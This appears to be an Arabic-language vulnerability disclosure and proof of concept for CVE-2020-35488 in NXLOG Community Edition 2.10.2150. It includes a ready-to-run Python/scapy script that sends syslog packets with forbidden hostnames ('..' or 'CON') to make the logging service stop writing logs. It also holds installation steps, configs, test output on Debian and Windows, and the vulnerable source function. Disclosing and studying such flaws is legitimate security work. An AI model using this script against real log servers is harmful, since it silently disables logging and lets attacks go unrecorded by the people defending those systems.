
إثبات المفهوم لاستغلال CVE-2020-35488، وهي ثغرة رفض الخدمة في NXLOG Community Edition عبر حمولات syslog المصممة خصيصًا مما يسبب فشل إنشاء الدلائل.
لقد وجدت ثغرة أمنية في المنتج: nxlog-ce_2.10.2150. لقد اختبرت إثبات المفهوم الخاص بي فقط على لينكس (Debian 10) وويندوز (Windows Server 2016).
النطاق : NXLOG Community Edition 2.10.2150
نوع الثغرة : CWE-502, إلغاء تسلسل البيانات غير الموثوقة https://cwe.mitre.org/data/definitions/502.html
الجزء المعرض للخطر : حمولة Syslog
الحمولة :
حساب CVSS الخاص بي :
متجه الهجوم : Network
الامتيازات المطلوبة : None
النطاق : Unchanged
النزاهة : None
تعقيد الهجوم : Low
تفاعل المستخدم : None
السرية : None
التوفر : High
درجة CVSS : 7.5
الخطورة : HIGH
حساب CVSS من NIST : الرابط : https://nvd.nist.gov/vuln/detail/CVE-2020-35488
متجه الهجوم :
الامتيازات المطلوبة :
النطاق :
النزاهة :
تعقيد الهجوم :
تفاعل المستخدم :
السرية :
التوفر :
درجة CVSS (3.X) : 7.5
الخطورة : HIGH
يمكن لهذه الثغرة أن تسبب تعطيل خدمة NXLOG.
لكن الخادم يحتاج إلى تكوين معين، يجب أن يحدد ملف إعدادات nxlog إنشاء دليل باستخدام حقل من جزء حمولة Syslog.
حقل Syslog: https://nxlog.co/documentation/nxlog-user-guide/xm_syslog.html#xm_syslog_fields
يحاول البرنامج إنشاء دليل لكن لا يمكن إنشاء اسم هذا الدليل على نظام الملفات.
لأن اسم هذا الدليل محظور.
فيما يلي مثال على اسم دليل يستحيل إنشاؤه:
لذا إذا تم تعريف ملف الإعدادات لإنشاء دليل اسمه مع حمولة Syslog، يمكن للمهاجم إيقاف خدمة Nxlog.
لاستغلال هذه الثغرة قمت بإنشاء سكربت بايثون:
#!/usr/bin/python3
# coding: utf8
# Nooooooooooo I'm not a script kiddie I hack syslog :D
# g0 h4ck SYSLOG
# Made by 123soleil with <3
import sys
import time
import argparse
from scapy.all import *
def getPayload(args):
# IF UNIX
if (args.OS == 1):
return "Sep 14 14:09:09 .. dhcp service[warning] 110 Silence is golden"
# IF WINDOWS
elif (args.OS == 2):
return "Sep 14 14:09:09 CON dhcp service[warning] 110 Silence is golden"
# Test
elif (args.OS == 3):
return "Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden"
def runExploit(args,payload):
priority = 30
message = payload
syslog = IP(src="192.168.1.10",dst=args.IP)/UDP(sport=666,dport=args.PORT)/Raw(load="<" + str(priority) + ">" + message)
send(syslog,verbose=args.DEBUG)
def getArguments():
parser = argparse.ArgumentParser(description="Go h@ck SYSLOG")
parser.add_argument("-ip", "-IP", dest="IP", type=str, metavar="IP destination", required=True,default=1, help="IP of NXLOG server")
parser.add_argument("-p", "-P", dest="PORT", type=int, metavar="Port destination", required=False,default=514, help="Port of NXLOG default 514")
parser.add_argument("-os", "-OS", dest="OS", type=int, metavar="OS", default=1, required=True, help="1 : For unix payload \n 2 : For Windows Paylaod \n 3 : Just for test")
parser.add_argument("-d", "-D", dest="DEBUG", type=int, metavar="DEBUG", default=0, required=False, help="1 : Debbug enable")
return parser.parse_args()
def main():
args = getArguments()
payload = getPayload(args)
runExploit(args,payload)
main()
تثبيت خدمة Nxlog على Debian 10 :
apt-get install libapr1 libdbi1 libssl1.1 multiarch-support
cd /tmp
wget http://ftp.de.debian.org/debian/pool/main/p/perl/libperl5.24_5.24.1-3+deb9u7_amd64.deb
wget http://security.debian.org/debian-security/pool/updates/main/o/openssl1.0/libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/g/glibc/libc-bin_2.28-10_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/m/man-db/man-db_2.8.5-2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/p/perl/perl-modules-5.24_5.24.1-3+deb9u7_all.deb
wget http://cz.archive.ubuntu.com/ubuntu/pool/main/g/gdbm/libgdbm3_1.8.3-13.1_amd64.deb
wget https://nxlog.co/system/files/products/files/348/nxlog-ce_2.10.2150_debian_stretch_amd64.deb
dpkg -i libc-bin_2.28-10_amd64.deb
dpkg -i libgdbm3_1.8.3-13.1_amd64.deb
dpkg -i perl-modules-5.24_5.24.1-3+deb9u7_all.deb
dpkg -i libperl5.24_5.24.1-3+deb9u7_amd64.deb
dpkg -i libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
dpkg -i man-db_2.8.5-2_amd64.deb
dpkg -i nxlog-ce_2.10.2150_debian_stretch_amd64.deb
ملف إعدادات خدمة nxlog :
cat /etc/nxlog/nxlog.conf
########################################
# Global directives #
########################################
User nxlog
Group nxlog
LogFile /var/log/nxlog/nxlog.log
########################################
# Modules #
########################################
<Extension _syslog>
Module xm_syslog
</Extension>
<Extension _exec>
Module xm_exec
</Extension>
<Extension _fileop>
Module xm_fileop
</Extension>
<Input udp>
Module im_udp
Host 0.0.0.0
Port 514
Exec parse_syslog_bsd();
</Input>
<Output file>
Module om_file
CreateDir True
File "/var/log/nxlog/"+ $Hostname +"/"+ $Hostname +".log"
</Output>
########################################
# Routes #
########################################
<Route syslog_to_file>
Path udp => file
Priority 1
</Route>
بدء خدمة Nxlog :
systemctl start nxlog
systemctl status nxlog
الإخراج :
● nxlog.service - LSB: logging daemon
Loaded: loaded (/etc/init.d/nxlog; generated)
Active: active (running) since Sun 2020-11-29 17:58:48 CET; 3min 1s ago
Docs: man:systemd-sysv-generator(8)
Tasks: 7 (limit: 2330)
Memory: 1.7M
CGroup: /system.slice/nxlog.service
└─1323 /usr/bin/nxlog
nov. 29 17:58:47 DEB-TEST systemd[1]: Starting LSB: logging daemon...
nov. 29 17:58:48 DEB-TEST nxlog[1312]: Starting nxlog daemon...nxlog started!
nov. 29 17:58:48 DEB-TEST nxlog[1312]: .
nov. 29 17:58:48 DEB-TEST systemd[1]: Started LSB: logging daemon.
التحقق :
lsof -i :514
الإخراج :
nxlog 1323 nxlog 18u IPv4 21321 0t0 UDP localhost:syslog
nxlog 1323 nxlog 19u IPv4 21324 0t0 TCP localhost:shell (LISTEN)
حسنًا، رائع !
باستخدام سكربت بايثون الخاص بي، يمكنني فقط إرسال رسالة Syslog لاختبار ما إذا كانت خدمة Nxlog تنشئ دليلاً.
يعتمد اسم الدليل على حقل HOSTNAME من حمولة Syslog. (انظر ملف الإعدادات)
لذا :
./syslog-exploit.py -ip 192.168.1.55 -os 3
الخيار الثالث يحدد اسم المضيف 123soleil في حمولة Syslog.
لذا :
ls /var/log/nxlog
123soleil nxlog.log
cat /var/log/nxlog/123soleil/123soleil.log
<30>Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden
حسنًا، خادم Nxlog وعميل Syslog يعملان !
الآن إذا قمت بتحديد اسم مضيف باسم محظور :
./syslog-exploit.py -ip 192.168.1.55 -os 1
في سجل Nxlog الداخلي :
cat /var/log/nxlog/nxlog.log
الإخراج :
2020-11-29 18:11:04 INFO nxlog-ce-2.10.2150 started
2020-11-29 18:15:12 ERROR failed to open /var/log/nxlog/../...log;Permission denied
لن تتم كتابة جميع السجلات الجديدة التي يرسلها عملاء Syslog إلى نظام الملفات.
لأن خدمة nxlog في حالة غير معروفة لأنها تحاول إنشاء دليل لا يمكن إنشاؤه.
للتوضيح، إذا حاولت إرسال حمولة Syslog جديدة إلى الخادم، سيكون لدي هذا السجل في السجل الداخلي :
2020-11-29 18:11:04 INFO nxlog-ce-2.10.2150 started
2020-11-29 18:15:12 ERROR failed to open /var/log/nxlog/../...log;Permission denied
2020-11-29 18:18:38 ERROR last message repeated 3 times
لقد اختبرت هذا الاستغلال مع جميع الطرق المتاحة :
ومع جميع الطرق، عمل الاستغلال !
المصادر :
رابط التثبيت : https://nxlog.co/system/files/products/files/348/nxlog-ce-2.10.2150.msi
ملف إعدادات Nxlog :
########################################
# Global directives #
########################################
define ROOT C:\Program Files (x86)\nxlog
define CERTDIR %ROOT%\cert
define CONFDIR %ROOT%\conf
define LOGDIR %ROOT%\data
define LOGFILE %LOGDIR%\nxlog.log
LogFile %LOGFILE%
Moduledir %ROOT%\modules
CacheDir %ROOT%\data
Pidfile %ROOT%\data\nxlog.pid
SpoolDir %ROOT%\data
########################################
# Modules #
########################################
<Extension _syslog>
Module xm_syslog
</Extension>
<Extension _exec>
Module xm_exec
</Extension>
<Extension _fileop>
Module xm_fileop
</Extension>
<Input udp>
Module im_udp
Host 0.0.0.0
Port 514
Exec parse_syslog();
</Input>
<Output file>
Module om_file
CreateDir TRUE
File '%LOGDIR%' + '\' + $Hostname + '\' + $Hostname + '.log'
</Output>
########################################
# Routes #
########################################
<Route syslog_to_file>
Path udp => file
Priority 1
</Route>
بدء خدمة Nxlog :
Start-Service -Name "nxlog"
Get-Service -Name "nxlog"
الإخراج :
Status Name DisplayName
------ ---- -----------
Running nxlog nxlog
التحقق :
netstat -an | Select-String "514"
الإخراج :
UDP 0.0.0.0:514 *:*
حسنًا، رائع !
تعطيل جدار حماية ويندوز، لأنني لا أرغب في إنشاء قاعدة جدار حماية... :
Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False
باستخدام سكربت بايثون الخاص بي يمكنني فقط إرسال رسالة Syslog لاختبار ما إذا كانت خدمة Nxlog تنشئ دليلاً.
يعتمد اسم الدليل على حقل HOSTNAME من حمولة Syslog. (انظر ملف الإعدادات)
لذا :
./syslog-exploit.py -ip 192.168.1.54 -os 3
تم إنشاء الدليل والسجل :
ls "C:\Program Files (x86)\nxlog\data\"
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 29/11/2020 19:31 123soleil
-a---- 29/11/2020 19:52 257 nxlog.log
ls "C:\Program Files (x86)\nxlog\data\123soleil"
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 29/11/2020 19:31 75 123soleil.log
cat "C:\Program Files (x86)\nxlog\data\123soleil\123soleil.log"
<30>Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden
الآن إذا قمت بتحديد اسم مضيف باسم محظور :
./syslog-exploit.py -ip 192.168.1.54 -os 2
في سجل Nxlog الداخلي :
cat 'C:\Program Files (x86)\nxlog\data\nxlog.log'
الإخراج :
2020-11-29 19:30:57 INFO nxlog-ce-2.10.2150 started
2020-11-29 19:50:45 ERROR CreateDir is TRUE but couldn't create directory: C:\Program Files (x86)\nxlog\data\CON; Invalid directory name.
لن تتم كتابة جميع السجلات الجديدة التي يرسلها عملاء Syslog إلى نظام الملفات.
لأن خدمة nxlog في حالة غير معروفة لأنها تحاول إنشاء دليل لا يمكن إنشاؤه.
للتوضيح، إذا حاولت إرسال حمولة syslog جديدة إلى الخادم، سيكون لدي هذا السجل في السجل الداخلي :
2020-11-29 19:30:57 INFO nxlog-ce-2.10.2150 started
2020-11-29 19:50:45 ERROR CreateDir is TRUE but couldn't create directory: C:\Program Files (x86)\nxlog\data\CON; Invalid directory name.
2020-11-29 19:52:48 ERROR last message repeated 3 times
لقد اختبرت هذا الاستغلال مع جميع الطرق المتاحة :
ومع جميع الطرق، عمل الاستغلال !
المصدر :
يمكن للمخترق إيقاف خدمة Nxlog ويمكنه مهاجمة البنية التحتية لتكنولوجيا المعلومات دون أي دليل على هذا الهجوم.
لقد عثرت على الكود المصدري لـ NXLOG 2.10.2150 على موقعكم الإلكتروني : https://nxlog.co/system/files/products/files/348/nxlog-ce-2.10.2150.tar.gz
وقد حددت هذه الطريقة في om_file.c :
static void om_file_create_dir(nx_module_t *module, const char *filename)
{
char pathname[APR_PATH_MAX + 1];
char *idx;
apr_pool_t *pool;
ASSERT(filename != NULL);
idx = strrchr(filename, '/');
#ifdef WIN32
if ( idx == NULL )
{
idx = strrchr(filename, '\\');
}
#endif
if ( idx == NULL )
{
log_debug("no directory in filename, cannot create");
return;
}
pool = nx_pool_create_child(module->pool);
ASSERT(sizeof(pathname) >= (size_t) (idx - filename + 1));
apr_cpystrn(pathname, filename, (size_t) (idx - filename + 1));
CHECKERR_MSG(apr_dir_make_recursive(pathname, APR_OS_DEFAULT, pool),
"CreateDir is TRUE but couldn't create directory: %s", pathname);
log_debug("directory '%s' created", pathname);
apr_pool_destroy(pool);
}
تحتاج إلى إضافة في om_file_create_dir التحقق من اسم الدليل. المورد :
أنت تستخدم الدالة apr_dir_make_recursive لإنشاء الدليل، وهذه الدالة مضمنة في Apache Portable Projet. APR
يرجى التحقق من الإصدار الذي تستخدمه في ملفك الثنائي.
التحقق من أن إثبات المفهوم العام لا يسمح باستغلال آخر (مثل RCE).
المراجع :
لا تستخدم هذه الميزات حتى ينشر Nxlog تصحيحًا رسميًا للإصدارات المجتمعية.